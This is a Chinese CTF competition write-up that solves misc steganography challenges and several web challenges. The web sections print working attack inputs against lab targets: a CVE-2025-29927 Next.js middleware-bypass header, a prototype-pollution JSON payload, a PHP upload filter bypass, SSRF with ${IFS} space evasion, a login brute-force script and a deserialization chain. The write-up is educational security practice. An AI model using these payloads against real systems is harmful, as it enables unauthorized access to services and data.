前言
写了三道misc,一道web,可惜离获奖还有点距离。这里复现几题。
Misc
消失的文字
知识点:pcap2track流量鼠标小工具、hidden-world
附件一个压缩包和一个usb.pcappng
usb流量包可以用小工具嗦,也是第一次知道pcap2track

得到压缩包密码868F-83BD-FF

在hidden-world网站上直接解即可

这里因为不知道这是个什么隐写,简单了解以下原理和特征
Hidden Word 是一个隐形文本水印工具)。它通过 Unicode 特性,把版权信息和元数据嵌入到文本里,但不会改变文字的外观

特征也很明显。
洞妖洞妖
知识点:ppt宏提取、时间间隔隐写、换表base64、
附件ppt,第一次做这个类型的题目,先改后缀为zip,然后用oletools查看.bin文件的宏代码。
用法比较多,这里用olevba


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
Sub hgf()
Sub CustomEncode()
Dim inputString As String
inputString = "*******"
Dim encodedString As String
encodedString = CustomEncode(inputString)
MsgBox "自定义编码结果为: " & vbCrLf & encodedString
End Sub
Function CustomEncode(inputString As String) As String
Dim charSet As String
charSet = "*******************"
Dim byteArray() As Byte
byteArray = StrConv(inputString, vbFromUnicode)
Dim encodedString As String
encodedString = ""
Dim i As Integer
Dim n As Long
For i = 1 To LenB(byteArray) Step 3
n = 0
n = (n Or (ByteToInt(MidB(byteArray, i, 1)) << 16))
If i + 1 <= LenB(byteArray) Then
n = (n Or (ByteToInt(MidB(byteArray, i + 1, 1)) << 8))
End If
If i + 2 <= LenB(byteArray) Then
n = (n Or ByteToInt(MidB(byteArray, i + 2, 1)))
End If
encodedString = encodedString & Mid(charSet, (n >> 18) + 1, 1)
encodedString = encodedString & Mid(charSet, ((n >> 12) And &H3F) + 1, 1)
If (i + 1) <= LenB(byteArray) Then
encodedString = encodedString & Mid(charSet, ((n >> 6) And &H3F) + 1, 1)
Else
encodedString = encodedString & "="
End If
If (i + 2) <= LenB(byteArray) Then
encodedString = encodedString & Mid(charSet, (n And &H3F) + 1, 1)
Else
encodedString = encodedString & "="
End If
Next i
CustomEncode = encodedString
End Function
Function ByteToInt(byteVal As Byte) As Long
ByteToInt = CLng(byteVal)
End Function
End Function
"5uESz7on4R8eyC//"
|
是个换表base,给了密文,只要找到映射表就行。
然后,ppt的自动换片间隔里有0和1隐写,在/ppt/slides/slide?.xml的advTm字段里,可以写脚本提出来



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
import os
import re
import xml.etree.ElementTree as ET
def extract_advTm_binary_string(folder='.'):
slides = []
# 筛选并排序 slide*.xml 文件(按数字顺序)
for filename in os.listdir(folder):
match = re.match(r'slide(\d+)\.xml$', filename)
if match:
slide_num = int(match.group(1))
slides.append((slide_num, filename))
slides.sort() # 按 slide 编号排序
binary_str = ''
for slide_num, filename in slides:
filepath = os.path.join(folder, filename)
try:
tree = ET.parse(filepath)
root = tree.getroot()
# 使用命名空间查找 advTm
ns = {
'p': 'http://schemas.openxmlformats.org/presentationml/2006/main',
'mc': 'http://schemas.openxmlformats.org/markup-compatibility/2006'
}
advTm = None
# 遍历所有 <p:transition> 标签
for transition in root.findall('.//p:transition', ns):
advTm_str = transition.attrib.get('advTm')
if advTm_str is not None:
advTm = int(advTm_str)
break # 找到就可以停止了
binary_str += '1' if advTm and advTm > 0 else '0'
except Exception as e:
print(f"处理文件 {filename} 时出错: {e}")
binary_str += '0'
return binary_str
if __name__ == '__main__':
binary_result = extract_advTm_binary_string('.')
print(f"结果二进制字符串: {binary_result}")
|
1000换成1,0不变,得到
10000111000101110010011000111110111111011010110101110101100111011011011101100110101110010101110100111001111100101110001110000110101100111001011001101111010110111100001011110101111001111100001101100110101011010010110011011000101011110001101110000011000011011100101011100110110011001001011110101011010011001000110011111001101000100100000111000101010101110010110101001010011100111110100101010001101000011011111001001110100010001110111000011001001100010101111
然后解码一下


居然不是flag,看来还有别的东西
找到ppt中的图片image2,发现藏了zip,密码应该就是base解出来的东西


打开后战斗还未结束

不过也很简单了

Web
星愿信箱
已解决的题目,过滤了{{}}的ssti,不多说
nest_js
知识点:cve-2025-29927绕过中间件权限
弱口令,admin/password。好像是非预期。预期是cve-2025-29927绕过中间件权限
这个漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。
1
|
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
|
复现很简单,直接打进去就行(多试几次,可能会比较卡),可以发现新的ETag

将etag替换,访问/dashboard

但是etag是个什么玩意?
ETag(Entity Tag)是万维网协议 HTTP 的一部分。它是 HTTP 协议提供的若干机制中的一种 Web 缓存验证机制,并且允许客户端进行缓存协商。
所以这其实就是和cookie,Jwt差不多的东西
多重宇宙日记
知识点:简单原型链污染
注册后在个人资料可以看到源码,是原型链污染

分析后发现有settings,然后如果isadmin发生改变就更新导航栏,我们就可以污染settings的原型,把它的原型的isadmin值改为true,就可以完成污染
然后可以直接传Json(这格式还得是这样的),打入
1
2
3
4
5
6
7
|
{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}
|
然后点击导航栏上的管理员链接即可
easy_file
知识点:弱密码爆破、简单文件上传+文件读取
又是一个登陆界面,查看源码后发现有个file查看头像,先不管我们上传内容抓包

发现被编码了,我们尝试爆破

得到admin/password
然后是文件上传,直接上传(有个短标签绕过)<?php 换成<?就行

还记得那个file查看头像吗,用flie查看头像,并传入命令即可


easy_signin
知识点:(时间戳+md5)爆破、easy_ssrf

登进来就这样,先dirsearch一下

发现login.html,查看其源代码,有两点,第一点是发现用户名和密码被md5加密了

第二点是在api.js可以发现**/api/sys/urlcode.php?url=**这里明显是ssrf

我们先对用户名和密码进行爆破,这里有时间戳限制,只能写代码爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
import requests
import hashlib
import time
import json
def md5(text):
"""计算MD5值"""
return hashlib.md5(text.encode()).hexdigest()
def generate_sign(username, password, timestamp, secret_key='easy_signin'):
"""生成签名"""
# 计算用户名和密码的MD5
md5_username = md5(username)
md5_password = md5(password)
# 取前6位
short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]
# 生成签名
sign_str = short_md5_user + short_md5_pass + timestamp + secret_key
return md5(sign_str)
def try_login(username, password):
"""尝试登录"""
# 获取时间戳
timestamp = str(int(time.time() * 1000))
# 计算MD5
md5_username = md5(username)
md5_password = md5(password)
# 生成签名
sign = generate_sign(username, password, timestamp)
# 构造请求头
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
}
# 构造请求数据
data = {
'username': md5_username,
'password': md5_password,
'timestamp': timestamp
}
try:
# 创建会话对象
session = requests.Session()
# 发送请求
response = session.post('http://node6.anna.nssctf.cn:26591/login.php',
headers=headers,
data=data)
# 打印请求信息
print("\n=== 请求信息 ===")
print(f"URL: {response.request.url}")
print("\n请求头:")
for key, value in response.request.headers.items():
print(f"{key}: {value}")
print("\n请求体:")
print(response.request.body)
# 打印响应信息
print("\n=== 响应信息 ===")
print(f"状态码: {response.status_code}")
print("\n响应头:")
for key, value in response.headers.items():
print(f"{key}: {value}")
print("\n响应体:")
print(response.text)
return response
except Exception as e:
print(f"[-] 请求失败: {str(e)}")
return None
if __name__ == "__main__":
# 已知的用户名和密码
username = "admin"
password = "admin123"
# 尝试登录
response = try_login(username, password)
if response:
print("\n[+] 登录请求已发送")
print(f"[+] 用户名: {username}")
print(f"[+] 密码: {password}")
|
记得让ai搞出请求头消息


然后就可以进入dashboard.php了

显然是之前ssrf,有个本地绕过
1
|
/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
|

空格被过滤了,用${IFS}绕。

然后直接访问就行,读不到。

君の名は
知识点:反序列化原生类调用匿名函数

链子很简单,难的是怎么获取flag
1
|
(new $args[0]($args[1]))->{$this->magic}();
|
我们看到这段代码,实例化了一个类,然后调用了这个类的一个方法,然后这个方法的函数名可控,但是没有参数正好调用匿名函数,也就是下面的create_function。
解释一下create_function("", 'die(/readflag);'); **创造匿名函数/000ambda_1(可能不是1),执行/readflag然后终止脚本。**所以我们只需要能运行这个函数,就可以获取flag了
所以思路就是:
- 找到一个可以调用匿名函数的原生类
- 找到匿名函数的名字
搜索发现ReflectionFunction的invoke方法可以调用函数,正好invoke也不用多传参数,正好符合思路。
那么赋值Taki类的magic=invoke,ReflectionFunction和匿名函数名/000ambda_1赋值到哪呢?
这里涉及到__call($func,$args)的传参问题
1
2
3
4
|
假如我们触发__call($func,$args)所调用的函数是
flag($arg1,$arg2)
那么触发__call($func,$args)时,$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。
|
所以KatawareDoki类的
kuchikamizake = "ReflectionFunction";
name = "\000lambda_1"
最后是绕过,因为过滤了O,所以需要用一个类来对链子进行包装,然后开头的O就会被自动转换为C
获得exp

这里是lambda_10,因为不知道这个匿名函数到底是几,我们爆破一下
